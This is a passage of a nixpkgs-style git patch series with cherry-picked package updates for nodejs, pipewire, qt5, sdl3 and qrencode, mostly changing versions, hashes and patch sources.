-  sha256 = "c19f0177d21c621746625e5f37590bd0d79a72043b77b53784cba5f145e7263e";
+  version = "22.16.0";
+  sha256 = "720894f323e5c1ac24968eb2676660c90730d715cb7f090be71a668662a17c37";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then
@@ -51,10 +51,12 @@ buildNodejs {
       ./node-npm-build-npm-package-logic.patch
       ./use-correct-env-in-tests.patch
       ./bin-sh-node-run-v22.patch
-      # fix test failure on macos 15.4
+
+      # Can be removed after https://github.com/NixOS/nixpkgs/pull/403958.
       (fetchpatch2 {
-        url = "https://github.com/nodejs/node/commit/33f6e1ea296cd20366ab94e666b03899a081af94.patch?full_index=1";
-        hash = "sha256-aVBMcQlhQeviUQpMIfC988jjDB2BgYzlMYsq+w16mzU=";
+        url = "https://github.com/nodejs/node/commit/9aa57bf8dab2dbfb8b6974fe71d5dbe6daf66244.patch?full_index=1";
+        hash = "sha256-k3h8mPgvaIYGAkGmaL+ix7kUnyLw4/PF7wXMAWrPMXo=";
+        revert = true;
       })
     ];
 }

From 4b21da9e400223c4cea920e802c6a1ca7ba91461 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 22 May 2025 14:48:11 +0300
Subject: [PATCH 0036/4511] pipewire: 1.4.2 -> 1.4.3

Diff: https://gitlab.freedesktop.org/pipewire/pipewire/-/compare/1.4.2...1.4.3

Changelog: https://gitlab.freedesktop.org/pipewire/pipewire/-/releases/1.4.3
(cherry picked from commit 737d15966b5d0ef66b813d780e0b1dc65867f04f)
---
 pkgs/development/libraries/pipewire/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/pipewire/default.nix b/pkgs/development/libraries/pipewire/default.nix
index 97d05c5ab0fa..68a2bd829df4 100644
--- a/pkgs/development/libraries/pipewire/default.nix
+++ b/pkgs/development/libraries/pipewire/default.nix
@@ -82,7 +82,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "pipewire";
-  version = "1.4.2";
+  version = "1.4.3";
 
   outputs = [
     "out"
@@ -98,7 +98,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "pipewire";
     repo = "pipewire";
     rev = finalAttrs.version;
-    sha256 = "sha256-uxTzdvmazLNmWqc1v1LGiq34zV9IT0y1vTGc/+JiEU8=";
+    sha256 = "sha256-0gvtWhfR0mMqaQ/VWivXWoGHJ4cq+iUPo7xPTaiE2Tw=";
   };
 
   patches = [

From ab043ec6bbc90cdc20ae3fdd193328feafb342ee Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Wed, 21 May 2025 21:09:32 +0200
Subject: [PATCH 0037/4511] sdl3: reenable OpenGL on darwin

The commit disabling libGL stubs on darwin [1] caused sdl3 derivation to
disable OpenGL support due to it being predicated on libGL availability
on host system.

[1]: 4727c8692f2abed91768dce93cc7d54e8c7c03c2

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 57282c6a1c914595d8dbd472577985c765763ddd)
---
 pkgs/by-name/sd/sdl3/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/sd/sdl3/package.nix b/pkgs/by-name/sd/sdl3/package.nix
index c7712ef91382..7824ad3ed025 100644
--- a/pkgs/by-name/sd/sdl3/package.nix
+++ b/pkgs/by-name/sd/sdl3/package.nix
@@ -39,7 +39,10 @@
   ibusSupport ? stdenv.hostPlatform.isUnix && !stdenv.hostPlatform.isDarwin,
   jackSupport ? stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAndroid,
   libdecorSupport ? stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAndroid,
-  openglSupport ? lib.meta.availableOn stdenv.hostPlatform libGL,
+  openglSupport ?
+    lib.meta.availableOn stdenv.hostPlatform libGL
+    # libGL is null on Darwin because we use system version
+    || stdenv.hostPlatform.isDarwin,
   pipewireSupport ? stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAndroid,
   pulseaudioSupport ?
     config.pulseaudio or stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAndroid,

From 1e8998783b0c6b9dc30b762a925d5e63fb70c872 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 22 May 2025 13:54:24 +0300
Subject: [PATCH 0038/4511] qt5: 5.15.16 -> 5.15.17

(cherry picked from commit 953c2eb039cc42bc48683cfa5255f51192d6142c)
---
 .../libraries/qt-5/5.15/default.nix           |   9 -
 .../libraries/qt-5/5.15/srcs-generated.json   | 160 +++++++++---------
 pkgs/development/libraries/qt-5/5.15/srcs.nix |  10 +-
 .../libraries/qt-5/modules/qtwebengine.nix    |   8 -
 4 files changed, 85 insertions(+), 102 deletions(-)

diff --git a/pkgs/development/libraries/qt-5/5.15/default.nix b/pkgs/development/libraries/qt-5/5.15/default.nix
index aede030f58f1..8bce1413ff31 100644
--- a/pkgs/development/libraries/qt-5/5.15/default.nix
+++ b/pkgs/development/libraries/qt-5/5.15/default.nix
@@ -202,15 +202,6 @@ let
         # See: https://bugreports.qt.io/browse/QTBUG-124375
         # Backport of: https://code.qt.io/cgit/qt/qtwebengine-chromium.git/commit/?id=a766045f65f934df3b5f1aa63bc86fbb3e003a09
         ./qtwebengine-ninja-1.12.patch
-        # 5.15.17: Fixes 'converts to incompatible function type [-Werror,-Wcast-function-type-strict]'
-        # in chromium harfbuzz dependency. This may be removed again if harfbuzz is updated
-        # to include the upstream fixes: https://github.com/harfbuzz/harfbuzz/commit/d88269c827895b38f99f7cf741fa60210d4d5169
-        # See https://trac.macports.org/ticket/70850
-        (fetchpatch {
-          url = "https://github.com/macports/macports-ports/raw/dd7bc40d8de48c762bf9757ce0a0672840c5d8c2/aqua/qt5/files/patch-qtwebengine_hb-ft.cc_error.diff";
-          sha256 = "sha256-8/CYjGM5n2eJ6sG+ODTa8fPaxZSDVyKuInpc3IlZuyc=";
-          extraPrefix = "";
-        })
       ]
       ++ lib.optionals stdenv.hostPlatform.isDarwin [
         ./qtwebengine-darwin-no-platform-check.patch
diff --git a/pkgs/development/libraries/qt-5/5.15/srcs-generated.json b/pkgs/development/libraries/qt-5/5.15/srcs-generated.json
index b3284a654a8a..47b8a3495b70 100644
--- a/pkgs/development/libraries/qt-5/5.15/srcs-generated.json
+++ b/pkgs/development/libraries/qt-5/5.15/srcs-generated.json
@@ -1,202 +1,202 @@
 {
   "qt3d": {
     "url": "https://invent.kde.org/qt/qt/qt3d.git",
-    "rev": "1eecf07a4d5dadd1b5aaf785fc2a5ed03565599d",
-    "sha256": "0xhdw3hjas8z9qmd9l4zcfsnndyfhsmnry4nwzrbnk1kd2n5ik0s"
+    "rev": "73c1dda553f338c5a3b9ebbfd0e7de114f0c93dc",
+    "sha256": "0szrqm745b541bamwsbbnl7w6yx0hcaj6jsb3v7kxhvb8kfb1jbm"
   },
   "qtactiveqt": {
     "url": "https://invent.kde.org/qt/qt/qtactiveqt.git",
-    "rev": "57ffe4b2b86854c60d85c263fde9a56a891b578e",
-    "sha256": "11q0nfwxlpj3n078mvhpihybyf90dfz8c24vks0x6vn0gs06rjda"
+    "rev": "df401a62879521f3fd47097205a440d5b173b524",
+    "sha256": "1zv5a2ywgvv4k3mgz2bbp5696751azf20pxk3xd1dr4dicr2lxf6"
   },
   "qtandroidextras": {
     "url": "https://invent.kde.org/qt/qt/qtandroidextras.git",
-    "rev": "abe5958ccfb1741daf37bb135aa6b90ef6c35b21",
-    "sha256": "0694mgaal3v4c8kd8spp5rw47dc1iydcydli2gsnx4rnypyf3pl2"
+    "rev": "484bbac0978eccc9031cbf1bf804a81a6bfb1247",
+    "sha256": "0h3x582q3m8cpll5f54h2cqngyd7j1mx0j1jqrjcf4mbg5n9y0i5"
   },
   "qtbase": {
     "url": "https://invent.kde.org/qt/qt/qtbase.git",
-    "rev": "2529f7f0c2333d437089c775c9c30f624d1fd5bc",
-    "sha256": "0sfhawlad2s24dwraha6snbdiaj8v774fxb8mq0l9ww3yjfh3kyz"
+    "rev": "128a1d2861ca5693e43e8b79fbd4278dcd451fbc",
+    "sha256": "1jd2my6az2a9l7d1v6f03ygv5m16dij2mmb73jchgrz20h1an7nz"
   },
   "qtcharts": {
     "url": "https://invent.kde.org/qt/qt/qtcharts.git",
-    "rev": "4e4fc559c61d1fc2542add48d2b3c490214e9936",
-    "sha256": "1fnrpj5w5ccix1p3v3kj4kdv17a7nh7hvxf8jr7c32yys3bq8igc"
+    "rev": "aaf04515611203a32cef866cce9bfeaa4cef20b6",
+    "sha256": "0q0qglksgl50kjq5pqigfvww4rks3ig8xwcz72d0h58ga1i3kgid"
   },
   "qtconnectivity": {
     "url": "https://invent.kde.org/qt/qt/qtconnectivity.git",
-    "rev": "c8a0f0b1f6dd4c63dbc015f63dc6856895e46ba3",
-    "sha256": "16c22q5ka6b3ghipl6jv51vw890zkfxrr1klldl4rwkad2m7liby"
+    "rev": "15961348aa26b73248432a0a274b332c36cd0054",
+    "sha256": "020vh62m098zn8fl43xnd5hhvixfr0q21ziq30jqml0j3slx4adx"
   },
   "qtdatavis3d": {
     "url": "https://invent.kde.org/qt/qt/qtdatavis3d.git",
-    "rev": "db75c351cd0c2b93016ca489ffb9db806e6fd6e9",
-    "sha256": "14j577hs69b32b88nmy3bf3hw55rk7h3xyrlkr8l5d4rcp28xz75"
+    "rev": "a57e633b675d7886c3e5c64441f50ffe831f2de8",
+    "sha256": "0w0cv80sa9w42wgw3yji228wyhwc3c8lz9r3296crq136aykyy87"
   },
   "qtdeclarative": {
     "url": "https://invent.kde.org/qt/qt/qtdeclarative.git",
-    "rev": "e2b38659cb79104f157e1d0099c01e545d04d0db",
-    "sha256": "1zk8fkn9hiip458dgnj1zd7yiqy1pvshvd0wijh9hwin2zjlbiii"
+    "rev": "11ea94fc8ea95d0ba95745a021a1b139283b8b36",
+    "sha256": "0xw15d7syqw0z6xjnkgckh53rhg7n20j67dm1bhf429ma1cqawqm"
   },
   "qtdoc": {
     "url": "https://invent.kde.org/qt/qt/qtdoc.git",
-    "rev": "47e2864f01bbaff05e97cb885ece55ccf083d8fd",
-    "sha256": "03yz37njpm1zyqjya6m3skikhynq1mlv37vf76f26ri6gq4r7sx7"
+    "rev": "36ae30d632c978b795bf40aa1c50abaae7c8ac4d",
+    "sha256": "10vwkk2b4ysx6i9nyqnl1g7q7rckp5xppwdawd6avlkxhfjayan7"
   },
   "qtgamepad": {
     "url": "https://invent.kde.org/qt/qt/qtgamepad.git",
-    "rev": "4a0bc8068728e18d0cb49cfb1c34c2931b2f05e5",
-    "sha256": "1w1n9iy5lhrakshgy7xixcw8hrwshx02b9b0x331rl56qq0yv5hi"
+    "rev": "fb2191db07738c9a954a77c2fb15dcb925a4c361",
+    "sha256": "1061ad1350bi0jr2vzpsmk6cgwyhv63d67nb8np1nr2j1iy2ncp7"
   },
   "qtgraphicaleffects": {
     "url": "https://invent.kde.org/qt/qt/qtgraphicaleffects.git",
-    "rev": "d6ef4931b295881becd2ff37b301a0115f14618e",
-    "sha256": "1x4g8hp82b0xwpsw0sv08w64mg77750wdjs7rlqr47a94ngjwpys"
+    "rev": "fed60f95ddb75103f83cf67bf2c9f471e49576fe",
+    "sha256": "0ja113vz261farf6c1bilxww4ypzzsnkz7xl37xr1pmxy9hx7lw8"
   },
   "qtimageformats": {
     "url": "https://invent.kde.org/qt/qt/qtimageformats.git",
-    "rev": "7b25a0435edc2602f8999bd216c4bec711ffe09e",
-    "sha256": "1s59sqg6grhmh85bnlnmhc0l90yqm50sfbwvamnrly57b6ca107j"
+    "rev": "f86afca95741b9c06202fd13c2b8c01d922a0e24",
+    "sha256": "1qql5zc2691iazx94s7arnkmk46y8f4p20is0asjfycs30x5cmp5"
   },
   "qtlocation": {
     "url": "https://invent.kde.org/qt/qt/qtlocation.git",
-    "rev": "6e89db9fcf76fa35c9275123c814e260610d355e",
-    "sha256": "0l909llb9p4dvckf9d7d9anz9q3h8k78blkqf0kpmja29wmzib7n"
+    "rev": "c6e6c63e8566fc75551cb901c3b5939b39e7a25c",
+    "sha256": "1n7wmsmy33v0fihivs18cafrh51bl0sa6gai6mlid0lx4izbs44f"
   },
   "qtlottie": {
     "url": "https://invent.kde.org/qt/qt/qtlottie.git",
-    "rev": "f5984b138b8d1da6940d48fc1fe0e4cac068ff1c",
-    "sha256": "1d0ic5v4n5h5dymqy75fpialw9gpy0vf9arh69hayxcjcnc1ya8f"
+    "rev": "76bc48eedf60c5f98ff9eb378fc8ce16b053bc32",
+    "sha256": "00ps9rl4yykbqqqhgnph8090rbq816kj90fb7nyrlr76f6zkjwnh"
   },
   "qtmacextras": {
     "url": "https://invent.kde.org/qt/qt/qtmacextras.git",
-    "rev": "acf76f52fa9cc919303c41f763f158c94bcd5189",
-    "sha256": "1546f3nna5xlpgl9zg0r0nf36d62gbnlyj097pz46yv0g4sq4ywg"
+    "rev": "4ebefe8d375054d2244ad7197868cb004c5f99d5",
+    "sha256": "0006gajlv8mn3gfp83jiy7pg9am86fa2yncn4fqrlv7q4ikqym3b"
   },
   "qtmultimedia": {
     "url": "https://invent.kde.org/qt/qt/qtmultimedia.git",
-    "rev": "b7c7ff4ab8c0f43a03de51a76867aae691411410",
-    "sha256": "0l48ijl98cm7h28wxhncdlnj6x6zxwn37hbh45dakvh2nqihm7zh"
+    "rev": "d342547886448dacf38d2933cd40322c7435ee86",
+    "sha256": "1fyrwbcn9dh6hsqk4z48g4f00aizankjr63ah7nvnzv8y8wcz62p"
   },
   "qtnetworkauth": {
     "url": "https://invent.kde.org/qt/qt/qtnetworkauth.git",
-    "rev": "0ca0165f1fd036ab2d8ebee6e253cf4e05124cc9",
-    "sha256": "0ydmxw92l9gv5bbcyr4fg6cjl2yh2k72mj5p4jz5vwngvra7xxpz"
+    "rev": "2653044915b3fb1941aa0f8b25af50343efcbff7",
+    "sha256": "183cbrwxnp2c7shdqlbjmx4vvb097m67mh3m1mqb0d4xc8fggwa4"
   },
   "qtpurchasing": {
     "url": "https://invent.kde.org/qt/qt/qtpurchasing.git",
-    "rev": "e15e0b0fd495bd708f740df754fa45917fcb3fb9",
-    "sha256": "1l9pn2d04xvlv9pa1c9gy1mgl7d295nagdjbx7yljw7kivbbz9qv"
+    "rev": "062778d6f80df1ba45b8697720eb781bd477c292",
+    "sha256": "1hakq5aam1x9fpnnj8wavmr4f3bdm0q2kflix0ap9197hj7bvzhy"
   },
   "qtquick3d": {
     "url": "https://invent.kde.org/qt/qt/qtquick3d.git",
-    "rev": "4db879b73a7b7546acab87bec50f9265dd1da8bd",
-    "sha256": "0xp63hjfdscys4dazc45xcw3scbxlvn39kmaxv8xglmkx7lhdsa8"
+    "rev": "de6e8026c116a47029f4307fd8a62b5f630f33bf",
+    "sha256": "0w4i0ii7an8z6xiqg1v0i5dm6rp3mi08mhg99mys10996r8f67yr"
   },
   "qtquickcontrols": {
     "url": "https://invent.kde.org/qt/qt/qtquickcontrols.git",
-    "rev": "c0edbd157555ae4d87082f7e786787dabb1f9873",
-    "sha256": "034fjgjmw5qbjblihjvc2k8hzyf8ya50w6zvcbhh6mda9xmrmcrh"
+    "rev": "37ee5e07e82296e24cc02c8bf6f31cb6bd8846b1",
+    "sha256": "1xq1a9ci7qvlp5f0ydfx86yw1pk14zdm9262nw65bc1z4nx3qfhw"
   },
   "qtquickcontrols2": {
     "url": "https://invent.kde.org/qt/qt/qtquickcontrols2.git",
-    "rev": "8f244d09b22ed68b3aefaa8e521c8d68d18cada7",
-    "sha256": "163yfpbr6cvx094p1bckcrc3yg95aysfngy68dvd89iqpdq8vcvw"
+    "rev": "9bdcebd1c093b6f0886e3a739711470cc37b1adb",
+    "sha256": "0ihwjw70cb59qvzbdyz9462n7d8f8mcnidkaph3qyqyblnx5rc6b"
   },
   "qtquicktimeline": {
     "url": "https://invent.kde.org/qt/qt/qtquicktimeline.git",
-    "rev": "a5bbd4ad3997e812a18ee89973317fd04d169b0a",
-    "sha256": "14yfgzfc1s22m76nmhg9znxlqi0y57d8wnyiha2py45fpwjxkiay"
+    "rev": "c4f13dd78d6cf2df83335ad0328b892ce4b2ef70",
+    "sha256": "075q6z6dd1aazpyf03bjmxn6j7lr5g8gjx02jgg2h077h9bdkw9j"
   },
   "qtremoteobjects": {
     "url": "https://invent.kde.org/qt/qt/qtremoteobjects.git",
-    "rev": "aa61cc683979ea1413222e64a03aae9971392e3d",
-    "sha256": "0b98j2fvgbf8cvdz58p7brr8s9cv39mjc2r4ydhmjvlacbxgk6yc"
+    "rev": "e060a0990380134c054bde675d47db048fd3192f",
+    "sha256": "0qsgixxy6rk8zv8kssfa19asg742y9syl9hc9dkqw0shywi6rm4k"
   },
   "qtscxml": {
     "url": "https://invent.kde.org/qt/qt/qtscxml.git",
-    "rev": "64398dfca74a6d4c37d51b56ecfcd1d7ccb6e533",
-    "sha256": "0fb5ff3ac9ps8dqzrmlp8bbv29fhybhnl1r2nj0c0lhssznk4fgf"
+    "rev": "2b7b19239671784fbf79d6dbc0e985da044ff9dd",
+    "sha256": "1a67ihj2z4fc6r3y3z18244wswvhf5hshw72z7z9lmmcznls7921"
   },
   "qtsensors": {
     "url": "https://invent.kde.org/qt/qt/qtsensors.git",
-    "rev": "55398471a3b46db2727b462776c137bced1dfdd6",
-    "sha256": "00shjmijlxkwhawijnssfrsgqwqv38nc9x5icdn7zzghqlvckr70"
+    "rev": "79ed5db98f36b8ca70b077edef46fc793debb3ab",
+    "sha256": "1dzbcqsrl5wlc1r54jgz63i516iaj73g2g4476m8va6ip4zrxxnp"
   },
   "qtserialbus": {
     "url": "https://invent.kde.org/qt/qt/qtserialbus.git",
-    "rev": "9dfba421ded501fd0016728b381df3b7166280ec",
-    "sha256": "036gcxg5icvi8bxpm9ynajd4xvbfsmj3n9vmqj1xx4rfpjrn14rf"
+    "rev": "971adee604b772d79686126fe8b1e333824f67dc",
+    "sha256": "0fdr81xj9mhyy7il3x2h87gv5qbjjy5rlps372s5qz97z8jdazy6"
   },
   "qtserialport": {
     "url": "https://invent.kde.org/qt/qt/qtserialport.git",
-    "rev": "875adfdf3ca8f1059fdd3c5fd20baaa00694a2e7",
-    "sha256": "1917l4gfgwcq8pzd5gwkwc32b114rp475lc839py5q3b0jaqrrfr"
+    "rev": "9bb2b66259413ac4eda1ddf64209ef44412aa55d",
+    "sha256": "1kpqjmipa2giv1rv1kg25knir9299pnh6gh8l87immnakwnp7q3n"
   },
   "qtspeech": {
     "url": "https://invent.kde.org/qt/qt/qtspeech.git",
-    "rev": "fe7fc4f6295f644a93157707f940072b2676902d",
-    "sha256": "0yvb1ih90rhih50s43gq184ladaw3g3jpf0rwqfpibb20pzfm4ky"
+    "rev": "088b86a0e53ebb714c1276d041ab2c06fee58e6e",
+    "sha256": "0qjpr91wlxq25n72yp5026hdwy560g35xk5419r7hz1snggbly4s"
   },
   "qtsvg": {
     "url": "https://invent.kde.org/qt/qt/qtsvg.git",
-    "rev": "9c3d40626ddfccc87886966a59e5cd6b1b5ce739",
-    "sha256": "1kqnrfjf93n16ns3gcf0fpxkyd20swiv5sqb7gpanxds15yyx77s"
+    "rev": "9c149213f46b844607cf7db8f800d906db3a682f",
+    "sha256": "14ww7c66fs224gfkawjbb8gfrjfcj1ww90887c01504k7ipvlbwb"
   },
   "qttools": {
     "url": "https://invent.kde.org/qt/qt/qttools.git",
-    "rev": "15deb8f202b838b4dd1b2ff84e852171e8587881",
-    "sha256": "1hw3qjgkmjl3dspphgmi8nw8mphb4rfbnlrbd4wmi93jndf16p8s"
+    "rev": "e02ce0dfa692913bd5dcc50917f7e21f5a41cd2b",
+    "sha256": "0dmv4y2lzdkzj9in3w1cchn0hb637280zl17vnzzgcpj4jmyxm3b"
   },
   "qttranslations": {
     "url": "https://invent.kde.org/qt/qt/qttranslations.git",
-    "rev": "56f5bf5a27db344e62d74bd5d2d54060e4b81fa2",
-    "sha256": "095n1j8wnsfgx3q7lsl5dfhvk2z73sj9hq7dmc7mmjsfz45m5mm1"
+    "rev": "fd567a42c1b566f22f339db758d29925fd2a8c60",
+    "sha256": "14cxna8ql87b68wriqkda9bdrympv827cpng7pazjzglgk4lp97y"
   },
   "qtvirtualkeyboard": {
     "url": "https://invent.kde.org/qt/qt/qtvirtualkeyboard.git",
-    "rev": "365f79ee89c6a57f205fe6c89817c51ff52ea059",
-    "sha256": "0r7lw1nhv3qhwfxmz7diyvwsszklh4z9lf52ibr7v13nyj3qp72j"
+    "rev": "0d229d587e578fb4a5144594b926d5d3138c407e",
+    "sha256": "0q7xv7cg4i5aliwaydw7xshwcv1a1icbg58rlwv77vzla7vsyyga"
   },
   "qtwayland": {
     "url": "https://invent.kde.org/qt/qt/qtwayland.git",
-    "rev": "9340737a208b5dd4eda98eb74808951ddaef66c5",
-    "sha256": "1mai5xxnwhafn39rqbb10cc2ikj7nvqna007f5phlxvxwz7j7sdl"
+    "rev": "c1ac089f3f37ab172d8010b0fabf4007d62d1812",
+    "sha256": "16wy4xml5k7bg48ai8777h95clny436lkr9vfcjzsbdlw17mgylw"
   },
   "qtwebchannel": {
     "url": "https://invent.kde.org/qt/qt/qtwebchannel.git",
-    "rev": "b375bde968f7b9c273adfb8a89f9a6fb888f9af6",
-    "sha256": "0xi8vb8p6hdw46labni6s9j53bnmk4xayb3gq5my1n4cjaqcj0i1"
+    "rev": "85ba097de9759efe5563156e43de1ad8473d5d54",
+    "sha256": "0wkd2fvnwi3hpqpy95mjhkj0msi447302srrfxr9j4xp435dpp9p"
   },
   "qtwebglplugin": {
     "url": "https://invent.kde.org/qt/qt/qtwebglplugin.git",
-    "rev": "64efc679e520505be352f2b3ad662184ef265503",
-    "sha256": "1rba903s48y2f9hsqvdc2brlahqi4v50w5h799n9zkrm5p7lr21m"
+    "rev": "adb24841f9fc2eea94f1d2636070411fcb6254b4",
+    "sha256": "0ra0906g3cqavkl18qp79jghy5n9avwqwf4vqn9jsci5may1bmv5"
   },
   "qtwebsockets": {
     "url": "https://invent.kde.org/qt/qt/qtwebsockets.git",
-    "rev": "a0c1c335b691ad5ecaddbec17a14dcb2a129a177",
-    "sha256": "08nvb7m6ckkbmc33cr4v4p07kbqilg9vdpjb4vgiyrikic5sfxcb"
+    "rev": "db9cb84499229143506a9692fc65d3cb223b3978",
+    "sha256": "1kp6gmzh00b07cdpsm062npgf10540aasyhmdqjh4zv9ggnf6dm6"
   },
   "qtwebview": {
     "url": "https://invent.kde.org/qt/qt/qtwebview.git",
-    "rev": "e3de9fef1557d4a5bac4c9fe42b399df34502c9f",
-    "sha256": "1gg52n8hm06z2wrrq67n299ssf4h717f7xap4ng39yxzpzjyszm9"
+    "rev": "f16dadb6d147c46565537ede46518a352cdd87c9",
+    "sha256": "0jm0wxblrlab3yizyrcip1s9n56mavpygfjivj27nmqwsycs8sfp"
   },
   "qtwinextras": {
     "url": "https://invent.kde.org/qt/qt/qtwinextras.git",
-    "rev": "56cbbfad338183d764868dd8c5a271d542280751",
-    "sha256": "1lcwl1a31kyg25ilyr5x1j39hyfkmvwjg4zbkc09lpjv1mrl730s"
+    "rev": "03d72f7b7df7892024f7a5a380305ad0347c1141",
+    "sha256": "164q0d4dhpb3w1qks26qc79ph3y3h4diihcgc41d4kgmc7gi75s6"
   },
   "qtx11extras": {
     "url": "https://invent.kde.org/qt/qt/qtx11extras.git",
-    "rev": "0c61151bf14e5b4c74187608b6b47b9d0d6ca745",
-    "sha256": "09lkfs47b2c8ks5a1paa4gqxw0j8df1ih5z0173zvxhf4zqp53bh"
+    "rev": "e6e7633bbd0efcc56035fef77f3f45efccf03a64",
+    "sha256": "1h02f17cn6x19d4z37w9pvfivqm2c6qflrhm5n0fqydr1wwb6g3l"
   },
   "qtxmlpatterns": {
     "url": "https://invent.kde.org/qt/qt/qtxmlpatterns.git",
-    "rev": "43996a4e543fa22b345c03ba3a1a41b1aba4b454",
-    "sha256": "0yphf7j76q47f1llvpmf1lfy51nyhis1nmn0sj9afmq4wxjvhl3q"
+    "rev": "e645537910450ba8bf5ecfbb735f69acdeeef046",
+    "sha256": "08lnchs0svgrv45zc3jwinkqzvd4crzzpipm9g1ql426clcdyq8n"
   }
 }
diff --git a/pkgs/development/libraries/qt-5/5.15/srcs.nix b/pkgs/development/libraries/qt-5/5.15/srcs.nix
index 401316c38016..b3f1e58e14b4 100644
--- a/pkgs/development/libraries/qt-5/5.15/srcs.nix
+++ b/pkgs/development/libraries/qt-5/5.15/srcs.nix
@@ -5,7 +5,7 @@
 }:
 
 let
-  version = "5.15.16";
+  version = "5.15.17";
 
   mk = name: args: {
     inherit version;
@@ -67,24 +67,24 @@ lib.mapAttrs mk (lib.importJSON ./srcs-generated.json)
   };
 
   qtscript = rec {
-    version = "5.15.18";
+    version = "5.15.19";
 
     src = fetchFromGitHub {
       owner = "qt";
       repo = "qtscript";
       rev = "v${version}-lts";
-      hash = "sha256-tq9dH76ArLO4avFCl8h0vCWDOPyJuV+z4geikCZM7J8=";
+      hash = "sha256-kUY8uSEoHqQVPd4s5BoAW6n1hGXQOQcberqWF6rK60w=";
     };
   };
 
   qtwebengine = rec {
-    version = "5.15.18";
+    version = "5.15.19";
 
     src = fetchFromGitHub {
       owner = "qt";
       repo = "qtwebengine";
       rev = "v${version}-lts";
-      hash = "sha256-l5sE+9I5H6XLJXUoPfrq2ImTtL8TZhtun5O97AhdLO4=";
+      hash = "sha256-/R4dF1nu40uH8POmx+7xnwaLNZZVgOSY3mSZLMbtvF4=";
       fetchSubmodules = true;
     };
   };
diff --git a/pkgs/development/libraries/qt-5/modules/qtwebengine.nix b/pkgs/development/libraries/qt-5/modules/qtwebengine.nix
index 42581f08a706..6fb7d833470b 100644
--- a/pkgs/development/libraries/qt-5/modules/qtwebengine.nix
+++ b/pkgs/development/libraries/qt-5/modules/qtwebengine.nix
@@ -228,14 +228,6 @@ qtModule (
         (
           cd src/3rdparty/chromium;
 
-          patch -p2 < ${
-            (fetchpatch {
-              # support for building with python 3.12
-              name = "python312-imp.patch";
-              url = "https://codereview.qt-project.org/gitweb?p=qt/qtwebengine-chromium.git;a=patch;h=3664134f749f4851a14ab1953a9ee460a1fe0b68";
-              hash = "sha256-XY0dEdeuOTRMR7onmuNg1Axld8+pquKAzOfDAGSIzI4=";
-            })
-          }
           patch -p1 < ${
             (fetchpatch {
               # support for building with python 3.12

From c76a10f057e0e43d2e78d3a98b67c8cb9ef4252b Mon Sep 17 00:00:00 2001
From: Stefano Mazzucco <stefano@curso.re>
Date: Sat, 17 May 2025 08:13:40 +0100
Subject: [PATCH 0039/4511] qrencode: update src url, use autoreconfHook

The source tar is no more available at
https://fukuchi.org/works/qrencode/qrencode-4.1.1.tar.gz

E.g.

    $ curl -I 'https://fukuchi.org/works/qrencode/qrencode-4.1.1.tar.gz'
    HTTP/1.1 404 Not Found
    Date: Sat, 17 May 2025 07:13:20 GMT
    Server: Apache/2.4.62 (Debian)
    Strict-Transport-Security: max-age=31536000
    Content-Type: text/html; charset=iso-8859-

However, we can download it from the official repository on GitHub as mentioned
in the project's home page[1].

To make the package build, we use autoreconfHook to mimick the repo's
`autogen.sh` because the GitHub repo does not contain the configure script as
mentioned in the project's README[2]:

> If there is no "configure" script in the source code directory, run
> "autogen.sh" at first to generate it - this is mandatory if you downloaded
> the source from GitHub.

[1] https://web.archive.org/web/20250413215821/https://fukuchi.org/en/works/qrencode/
[2] https://github.com/fukuchi/libqrencode/blob/50b3e5725cafccfde038c0833cdaa5b1c28491e2/README.md#compile--install

(cherry picked from commit 04db9fed9e8a9ef0dae2c829b0abe864e2e7f9df)
---
 pkgs/by-name/qr/qrencode/package.nix | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/qr/qrencode/package.nix b/pkgs/by-name/qr/qrencode/package.nix
index 246499eba9ce..1194cc014ba7 100644
--- a/pkgs/by-name/qr/qrencode/package.nix
+++ b/pkgs/by-name/qr/qrencode/package.nix
@@ -1,11 +1,12 @@
 {
   lib,
   stdenv,
-  fetchurl,
+  fetchFromGitHub,
   pkg-config,
   SDL2,
   libpng,
   libiconv,
+  autoreconfHook,
 }:
 
 stdenv.mkDerivation (finalAttrs: rec {
@@ -19,12 +20,17 @@ stdenv.mkDerivation (finalAttrs: rec {
     "dev"
   ];
 
-  src = fetchurl {
-    url = "https://fukuchi.org/works/qrencode/qrencode-${version}.tar.gz";
-    sha256 = "sha256-2kSO1PUqumvLDNSMrA3VG4aSvMxM0SdDFAL8pvgXHo4=";
+  src = fetchFromGitHub {
+    owner = "fukuchi";
+    repo = "libqrencode";
+    rev = "v${version}";
+    hash = "sha256-nbrmg9SqCqMrLE7WCfNEzMV/eS9UVCKCrjBrGMzAsLk";
   };
 
-  nativeBuildInputs = [ pkg-config ];
+  nativeBuildInputs = [
+    pkg-config
+    autoreconfHook
+  ];
 
   buildInputs = [
     libiconv

From 208a43164924b3136dc67cea1da6e29dbc120b1a Mon Sep 17 00:00:00 2001
From: Stefano Mazzucco <stefano@curso.re>
Date: Sat, 17 May 2025 08:24:52 +0100
Subject: [PATCH 0040/4511] qrencode: remove SDL2 to fix infinite recursion in
 tests

Nix fails with an infinite recursion error When running the qrencode tests with
SDL2 in nativeCheckInputs.

Removing the dependency fixes the error and the tests still run successfully.

(cherry picked from commit b8246ba626f8c122e615b239985fc340d2eed27c)
---
 pkgs/by-name/qr/qrencode/package.nix | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/pkgs/by-name/qr/qrencode/package.nix b/pkgs/by-name/qr/qrencode/package.nix
index 1194cc014ba7..fca976b41d14 100644
--- a/pkgs/by-name/qr/qrencode/package.nix
+++ b/pkgs/by-name/qr/qrencode/package.nix
